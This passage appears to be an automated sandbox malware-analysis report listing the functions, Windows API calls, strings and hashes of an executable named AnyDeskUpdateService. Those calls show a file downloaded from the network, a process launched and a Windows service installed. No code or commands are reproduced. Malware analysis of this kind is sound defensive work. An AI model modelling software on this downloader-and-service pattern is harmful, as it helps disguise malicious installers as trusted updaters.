Part of subcall function 00007FF71DD8CF30: InternetCloseHandle.WININET ref: 00007FF71DD8CF3B

GetFileAttributesW.KERNEL32 ref: 00007FF71DD8509D
MoveFileW.KERNEL32 ref: 00007FF71DD850CD
GetFileAttributesW.KERNEL32 ref: 00007FF71DD850E2

Part of subcall function 00007FF71DD8CDF0: InternetOpenW.WININET ref: 00007FF71DD8CE27
Part of subcall function 00007FF71DD8CDF0: InternetOpenUrlW.WININET ref: 00007FF71DD8CE49
Part of subcall function 00007FF71DD8CDF0: CreateFileW.KERNEL32 ref: 00007FF71DD8CE75
Part of subcall function 00007FF71DD8CDF0: InternetReadFile.WININET ref: 00007FF71DD8CE91
Part of subcall function 00007FF71DD8CDF0: WriteFile.KERNEL32 ref: 00007FF71DD8CECA
Part of subcall function 00007FF71DD8CDF0: InternetReadFile.WININET ref: 00007FF71DD8CEE3
Part of subcall function 00007FF71DD8CDF0: CloseHandle.KERNEL32 ref: 00007FF71DD8CEF0

GetFileAttributesW.KERNEL32 ref: 00007FF71DD85724
ShellExecuteExW.SHELL32 ref: 00007FF71DD86B24
ShellExecuteExW.SHELL32 ref: 00007FF71DD870C2
GetLastError.KERNEL32 ref: 00007FF71DD870D0

Part of subcall function 00007FF71DD8DBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD8DD85

Part of subcall function 00007FF71DD885F0: RegisterEventSourceW.ADVAPI32 ref: 00007FF71DD8861B
Part of subcall function 00007FF71DD885F0: GetLastError.KERNEL32 ref: 00007FF71DD88629
Part of subcall function 00007FF71DD885F0: ReportEventW.ADVAPI32 ref: 00007FF71DD88694
Part of subcall function 00007FF71DD885F0: DeregisterEventSource.ADVAPI32 ref: 00007FF71DD8869D

GetLastError.KERNEL32 ref: 00007FF71DD86B32

Part of subcall function 00007FF71DD8DBC0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD8DC89
Part of subcall function 00007FF71DD8DBC0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD8DCB6
Part of subcall function 00007FF71DD8DBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD8DCE3
Part of subcall function 00007FF71DD8DBC0: std::_Facet_Register.LIBCPMT ref: 00007FF71DD8DD64

WaitForSingleObject.KERNEL32 ref: 00007FF71DD86D68
CloseHandle.KERNEL32 ref: 00007FF71DD86D72
lstrcmpiW.KERNEL32 ref: 00007FF71DD86E7D
GetCurrentProcessId.KERNEL32 ref: 00007FF71DD86E91
StartServiceCtrlDispatcherW.ADVAPI32 ref: 00007FF71DD8732C

Strings

20240913, xrefs: 00007FF71DD82EB4
Nr<r, xrefs: 00007FF71DD82F7E
NYOY, xrefs: 00007FF71DD83B8F
vzv$, xrefs: 00007FF71DD828AB
h1w{, xrefs: 00007FF71DD8290C
:xyx, xrefs: 00007FF71DD8293B
M, xrefs: 00007FF71DD85116
ux(x, xrefs: 00007FF71DD82A06
&x>x, xrefs: 00007FF71DD829C5
pH}wM, xrefs: 00007FF71DD86B1F
.x5x, xrefs: 00007FF71DD82974
sncn, xrefs: 00007FF71DD84072
,x'x, xrefs: 00007FF71DD8299C
Qx$x, xrefs: 00007FF71DD8296A
H}wM, xrefs: 00007FF71DD851FD
)nln, xrefs: 00007FF71DD84095
xx~x, xrefs: 00007FF71DD829AB
0r!r, xrefs: 00007FF71DD82F92
%x*x, xrefs: 00007FF71DD82A10
enfn, xrefs: 00007FF71DD8409F
jnhn, xrefs: 00007FF71DD84086
}wM, xrefs: 00007FF71DD8525E
3x9x, xrefs: 00007FF71DD829ED
wnmn, xrefs: 00007FF71DD8407C
4x<x, xrefs: 00007FF71DD82992
jxWx, xrefs: 00007FF71DD82960
}Y>Y, xrefs: 00007FF71DD83B35
5x=x, xrefs: 00007FF71DD829CF
-x?x, xrefs: 00007FF71DD829F7
$x'x, xrefs: 00007FF71DD829D9
GY!Y, xrefs: 00007FF71DD83B3F
:r>r, xrefs: 00007FF71DD82F88
AnyDeskUpdateService, xrefs: 00007FF71DD8730A
t, xrefs: 00007FF71DD850FE
w, xrefs: 00007FF71DD8510D

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: File$Internet$Attributesstd::_$CloseHandleLockit$ErrorEventLast$ExecuteLockit::_Lockit::~_OpenReadRegisterShellSource$Concurrency::cancel_current_taskCreateCtrlCurrentDeregisterDispatcherFacet_MoveObjectProcessReportServiceSingleStartWaitWritelstrcmpi
String ID: $x'x$%x*x$&x>x$)nln$,x'x$-x?x$.x5x$0r!r$20240913$3x9x$4x<x$5x=x$:r>r$:xyx$AnyDeskUpdateService$GY!Y$H}wM$M$NYOY$Nr<r$Qx$x$enfn$h1w{$jnhn$jxWx$pH}wM$sncn$t$ux(x$vzv$$w$wnmn$xx~x$}Y>Y$}wM
API String ID: 2766441065-4267904903
Opcode ID: c718f0704d29a904090881f6a353c4df41576d63dd8bb5b8d9f832d7076f5b72
Instruction ID: 45397506b2542b497ff831494f8866c49df416c9cfeb3b15e7c6f10426e87ba4
Opcode Fuzzy Hash: c718f0704d29a904090881f6a353c4df41576d63dd8bb5b8d9f832d7076f5b72
Instruction Fuzzy Hash: E0936E1552C6D689E330AF71D8103FA7261EF58718F81003BD28C8BAA9FF3D9649DB65

Function 00007FF71DD87A20 Relevance: 42.6, APIs: 16, Strings: 8, Instructions: 627
serviceregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF71DD87A61
GetLastError.KERNEL32 ref: 00007FF71DD87BA6
OpenSCManagerW.ADVAPI32 ref: 00007FF71DD87D12
GetLastError.KERNEL32 ref: 00007FF71DD87DC7
CloseServiceHandle.ADVAPI32 ref: 00007FF71DD88051
CloseServiceHandle.ADVAPI32 ref: 00007FF71DD8805A
RegisterServiceCtrlHandlerW.ADVAPI32 ref: 00007FF71DD8811E
SetServiceStatus.ADVAPI32 ref: 00007FF71DD8844A
CreateEventW.KERNEL32 ref: 00007FF71DD8845D
SetServiceStatus.ADVAPI32 ref: 00007FF71DD88499
CreateThread.KERNEL32 ref: 00007FF71DD884B6
GetLastError.KERNEL32 ref: 00007FF71DD884C8
SetServiceStatus.ADVAPI32 ref: 00007FF71DD884FD

Strings

%s (%d), xrefs: 00007FF71DD87BB2
%s, xrefs: 00007FF71DD88007
%s (%d), xrefs: 00007FF71DD87F12
AnyDesk Update Service, xrefs: 00007FF71DD87E66
pslk, xrefs: 00007FF71DD87E91
AnyDeskUpdateService, xrefs: 00007FF71DD87E6D
%s (%d), xrefs: 00007FF71DD87DD3
AnyDeskUpdateService, xrefs: 00007FF71DD88117

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Service$ErrorLastStatus$CloseCreateHandle$CtrlEventFileHandlerManagerModuleNameOpenRegisterThread
String ID: %s$%s (%d)$%s (%d)$%s (%d)$AnyDesk Update Service$AnyDeskUpdateService$AnyDeskUpdateService$pslk
API String ID: 4101962034-53298800
Opcode ID: 00848399103b6d949bbf2ad8a78e9ae82022c4cbc5f55f62c2c1f851970f7318
Instruction ID: 56602dd4475ae23148ff91bbf50fb94b35faab294628369486b938b662e7fc42
Opcode Fuzzy Hash: 00848399103b6d949bbf2ad8a78e9ae82022c4cbc5f55f62c2c1f851970f7318
Instruction Fuzzy Hash: 7862E422E1CA8989E700AF78D4012BDB3B1FF457A8F904237DA98566A5FF3CD149CB50

Function 00007FF71DDBAD68 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71DDBA94C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDBA98D
Part of subcall function 00007FF71DDBA94C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDBAA0B
Part of subcall function 00007FF71DDBA94C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDBAA5C

CreateFileW.KERNEL32 ref: 00007FF71DDBAE6E
CreateFileW.KERNEL32 ref: 00007FF71DDBAEBE
GetLastError.KERNEL32 ref: 00007FF71DDBAEEE
GetFileType.KERNEL32 ref: 00007FF71DDBAF03
GetLastError.KERNEL32 ref: 00007FF71DDBAF0D
CloseHandle.KERNEL32 ref: 00007FF71DDBAF40
CloseHandle.KERNEL32 ref: 00007FF71DDBB0A3
CreateFileW.KERNEL32 ref: 00007FF71DDBB0D8
GetLastError.KERNEL32 ref: 00007FF71DDBB0E7

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 1b731941ab77a7d7e1ee044a851ff69ec3e8d83a8cd4698c13b8954ec901e107
Instruction ID: d4fca14b252321b009f4aadd3a99124538b94fcfb2332eca79d4876ccc2730d6
Opcode Fuzzy Hash: 1b731941ab77a7d7e1ee044a851ff69ec3e8d83a8cd4698c13b8954ec901e107
Instruction Fuzzy Hash: C6C10432B28E4995EB10DF64C4902BD7761FB4ABA8F815236DA5E47394EF38E119C710

Function 00007FF71DDAE95C Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDAE999

Part of subcall function 00007FF71DDA9A04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDA9A29

Part of subcall function 00007FF71DDB98D4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDB98FC

Part of subcall function 00007FF71DDAB1D8: HeapFree.KERNEL32 ref: 00007FF71DDAB1EE
Part of subcall function 00007FF71DDAB1D8: GetLastError.KERNEL32 ref: 00007FF71DDAB1F8

Part of subcall function 00007FF71DDAEBAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDAEBEA

Strings

.com, xrefs: 00007FF71DDAEB27

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ErrorFreeHeapLast
String ID: .com
API String ID: 3231943733-4200470757
Opcode ID: 285768c466a6b3df03c4c0973ef54bcda0a58e502a2d52bb56038eee2e94fb96
Instruction ID: 117ce214470990ad347971f872275945cbca7d338e38b0ece4e91c15de467e54
Opcode Fuzzy Hash: 285768c466a6b3df03c4c0973ef54bcda0a58e502a2d52bb56038eee2e94fb96
Instruction Fuzzy Hash: E4518411B0DA4A45FA64BA2298112B9A681AF44FF0FC98537DD9E477D2FD3CF4098B20

Function 00007FF71DDAEBAC Relevance: 16.7, APIs: 11, Instructions: 163
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDAEBEA
WaitForSingleObject.KERNEL32 ref: 00007FF71DDAED12
GetExitCodeProcess.KERNEL32 ref: 00007FF71DDAED20
CloseHandle.KERNEL32 ref: 00007FF71DDAED36
CloseHandle.KERNEL32 ref: 00007FF71DDAED44
GetLastError.KERNEL32 ref: 00007FF71DDAED52
CloseHandle.KERNEL32 ref: 00007FF71DDAED67
CloseHandle.KERNEL32 ref: 00007FF71DDAED79
CloseHandle.KERNEL32 ref: 00007FF71DDAED92
CloseHandle.KERNEL32 ref: 00007FF71DDAEDA0
CloseHandle.KERNEL32 ref: 00007FF71DDAEDB6

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CloseHandle$CodeErrorExitLastObjectProcessSingleWait_invalid_parameter_noinfo
String ID:
API String ID: 2936579111-0
Opcode ID: bd42c7ecaa9f5b6cff4489de4fad8ec41595277462ff7ce3a88bd78bf3a93305
Instruction ID: 0306d22a1dc646d1fcd6ed21abca846a3036a7e9054ac2cb2156ea03d92f8e29
Opcode Fuzzy Hash: bd42c7ecaa9f5b6cff4489de4fad8ec41595277462ff7ce3a88bd78bf3a93305
Instruction Fuzzy Hash: 46616222B0DF0A85FB10BF61D4402BCA3A2AB45FB4F854536DD8E17785EE38E449CB60

Function 00007FF71DDAB2D4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00007FF71DDAB450
GetProcAddress.KERNEL32 ref: 00007FF71DDAB45C

Strings

ext-ms-, xrefs: 00007FF71DDAB3AD
api-ms-, xrefs: 00007FF71DDAB39A

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 720a303292af339a0c062d452de7dc2e26e36da20086ac8bab5a24fa68cd03b5
Instruction ID: 1f4ae6a551318d141e96885d58c002e6f85b0105cc729c2eca18311eabd82fc2
Opcode Fuzzy Hash: 720a303292af339a0c062d452de7dc2e26e36da20086ac8bab5a24fa68cd03b5
Instruction Fuzzy Hash: 18411A21B1DE1642FA11EB16A850676A395BF05FB0FC68637DD8D47780FE3CE40A8B20

Function 00007FF71DDAC85C Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32 ref: 00007FF71DDAC978
GetLastError.KERNEL32 ref: 00007FF71DDACA03

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: b6fc4f158a9e9c29caf92685fa59fc20505ba3f633a93bb908a21979db94a982
Instruction ID: 9d18aeffaa0142721c403345f62bbae0e3d3b8cf9cba9c4233cc22c7a792bb05
Opcode Fuzzy Hash: b6fc4f158a9e9c29caf92685fa59fc20505ba3f633a93bb908a21979db94a982
Instruction Fuzzy Hash: 7A91D826A1CE5945F760EF69944027CA7A0BB05FB8F948137DE8E57784EE3CE449CB20

Function 00007FF71DD9D344 Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF71DD9D355
TerminateProcess.KERNEL32 ref: 00007FF71DD9D360
ExitProcess.KERNEL32 ref: 00007FF71DD9D36F

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5bc98c1c2021317396186fcc3284e49ba9d5ca290e9d263b723d4fd8b173a28a
Instruction ID: 33768de9a17097765ee126ba057d9039428b93fa76b07b2234b07193e73c1cbb
Opcode Fuzzy Hash: 5bc98c1c2021317396186fcc3284e49ba9d5ca290e9d263b723d4fd8b173a28a
Instruction Fuzzy Hash: EAD09E10F2CF1E86EA5C7F7458951B8D2166F49776F80183EC98F47397EE2EA40D8A60

Function 00007FF71DD97B1C Relevance: 3.1, APIs: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71DD97CF0: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF71DD97D04

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF71DD97B45
__scrt_release_startup_lock.LIBCMT ref: 00007FF71DD97BB3

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 1236291503-0
Opcode ID: bf8581e221747b1aa519da3a3fdda917876ed7866bab429396813271f759fd36
Instruction ID: 66b64beb2e039bdf75de4cdef55469f884561b8e68aa8a684930c741649545f7
Opcode Fuzzy Hash: bf8581e221747b1aa519da3a3fdda917876ed7866bab429396813271f759fd36
Instruction Fuzzy Hash: 3B413E11E0CD0AA1EE18BB6494523B99292AF457A4FC54037E9CD473D7FE2EA80D8A71

Function 00007FF71DDAC314 Relevance: 3.1, APIs: 2, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FF71DDAC3C7
GetLastError.KERNEL32 ref: 00007FF71DDAC3E3

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: b053ca310af3e7b3e959bd461da812ca189cf57c899e4e5267733b9c995ffed1
Instruction ID: 7c0f2cd182d9d7eb8670f5970d3de762f05df71a364a7c8b1afb7f043117b7cc
Opcode Fuzzy Hash: b053ca310af3e7b3e959bd461da812ca189cf57c899e4e5267733b9c995ffed1
Instruction Fuzzy Hash: 3631C83661CE8596DB11AF19E4442A9B7A0FB58BA4F848037DB8D83754EF3CD519CB10

Function 00007FF71DDAAFD4 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF71DDAB04D
GetFileType.KERNEL32 ref: 00007FF71DDAB063

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5e57838b2dce20432395441fed3a29f839eb20010de2f3c076eaf79001dc18ea
Instruction ID: 45b7085b39646d5c3f87c89869cee1a007f8f6a6e1b7a4083119a5f725ac47d0
Opcode Fuzzy Hash: 5e57838b2dce20432395441fed3a29f839eb20010de2f3c076eaf79001dc18ea
Instruction Fuzzy Hash: D031E421A1CF5981DB209B148590138AA50FB46FB0FA5073ADBFE033E0DF38E4A6CB54

Function 00007FF71DDACD38 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF71DDACDA6
GetLastError.KERNEL32 ref: 00007FF71DDACDB0

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 90f3701c9648459cb02c6a100222a657127510a50ce0718e7ba9b00f7c694d7d
Instruction ID: 2b96ff26d7b181db0690b4fa7e07edc6377f4f5f9d4944d43f2302aa960f1f39
Opcode Fuzzy Hash: 90f3701c9648459cb02c6a100222a657127510a50ce0718e7ba9b00f7c694d7d
Instruction Fuzzy Hash: A821D714B0CE4A41FE907769945037C96919F86BB4FC88237D9AE473D1FE6CE4488B10

Function 00007FF71DDB9D9C Relevance: 1.7, APIs: 1, Instructions: 181processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF71DDB9FF7

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 66c358961b55405a7c2c8e21c583bcf1218276d2d0741f30b0a745b2ca595dfc
Instruction ID: bc9bea253dc62372bece9b95a067bd53fb6a0c780936fdf5de2a095ffdb6aee7
Opcode Fuzzy Hash: 66c358961b55405a7c2c8e21c583bcf1218276d2d0741f30b0a745b2ca595dfc
Instruction Fuzzy Hash: 2181D636A0CBC599E7209B65A4400AEBBA4F745BBCF544136DECC03B98EF38D149CB10

Function 00007FF71DD9D275 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF71DD9D2A3

Part of subcall function 00007FF71DD9D39C: GetModuleHandleExW.KERNEL32 ref: 00007FF71DD9D3C1
Part of subcall function 00007FF71DD9D39C: GetProcAddress.KERNEL32 ref: 00007FF71DD9D3D7
Part of subcall function 00007FF71DD9D39C: FreeLibrary.KERNEL32 ref: 00007FF71DD9D3FE

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
